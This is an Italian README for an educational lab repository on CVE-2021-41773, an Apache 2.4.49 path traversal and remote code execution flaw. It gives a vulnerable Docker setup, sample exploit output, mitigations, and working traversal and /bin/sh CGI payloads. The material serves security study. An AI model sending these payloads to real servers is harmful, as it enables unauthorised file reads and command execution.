CVE-2021-41773 — Apache HTTP Server 2.4.49 Path Traversal / RCE

Progetto di ricerca educativo. Tutti i test sono stati eseguiti in un laboratorio Docker isolato. Non utilizzare contro sistemi che non possiedi.

Riepilogo della vulnerabilità

Causa principale

Apache 2.4.49 non riesce a normalizzare correttamente le sequenze di percorso codificate in URL (%2e%2e) prima di applicare le regole di controllo degli accessi. Ciò consente a un attaccante di uscire dalla root del web. Quando CGI è abilitato, puntando il traversal a /bin/sh e fornendo comandi shell tramite il body POST si ottiene un'Esecuzione Remota di Codice non autenticata.

Contenuto del repository

cve-2021-41773-poc/
├── Dockerfile      # Intentionally vulnerable Apache 2.4.49 lab container
├── exploit.py      # Python PoC — uses raw sockets to preserve %2e encoding
├── SETUP.md        # Step-by-step lab setup guide
├── README.md       # This file
└── report.pdf      # Full exploit development report

Avvio rapido

1. Compila ed esegui il container vulnerabile

docker build -t apache-vuln-2449 .
docker run -d -p 8080:80 --name vuln-apache apache-vuln-2449

2. Esegui l'exploit

python3 exploit.py

3. Output atteso

==================================================
 CVE-2021-41773 PoC — Lab Use Only
==================================================
[+] Target reachable — HTTP 200

[*] Path Traversal — Reading /etc/passwd
[*] Status: 403
[-] Blocked (403) — server restrictions in place

[*] RCE — Executing: id
[*] Status: 200
[+] OUTPUT:
uid=1(daemon) gid=1(daemon) groups=1(daemon)

[*] RCE — Executing: whoami
[*] Status: 200
[+] OUTPUT:
daemon

[*] RCE — Executing: hostname
[*] Status: 200
[+] OUTPUT:
e4ccca07bee7

Vedi SETUP.md per istruzioni complete di configurazione e risoluzione dei problemi.

Come funziona l'exploit

La libreria requests normalizza %2e → . prima dell'invio, il che rompe l'exploit (restituisce 400). Questa PoC utilizza raw sockets per inviare la richiesta HTTP byte per byte, preservando esattamente la sequenza di traversal codificata come Apache 2.4.49 deve riceverla.

Payload di traversal:

GET /.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1

Payload RCE:

POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
...
echo Content-Type: text/plain; echo; id

Apache non riesce a decodificare %2e%2e prima dei controlli ACL, elabora la richiesta, la instrada attraverso CGI ed esegue il body POST come comando shell.

Mitigazione

• Aggiorna Apache alla versione 2.4.51 o successiva
• Disabilita CGI se non strettamente necessario
• Non usare mai Require all granted su /
• Applica tempestivamente le patch di sicurezza al momento del rilascio

Riferimenti

• CVE-2021-41773 — MITRE
• Avviso di sicurezza Apache
• ExploitDB #50383
• Analisi Rapid7
• PayloadsAllTheThings

Autore

Abdur Rehman Siddiqui
Sviluppo exploit — Task 3

Questo repository è solo per scopi educativi. L'autore non è responsabile di qualsiasi uso improprio di questo materiale.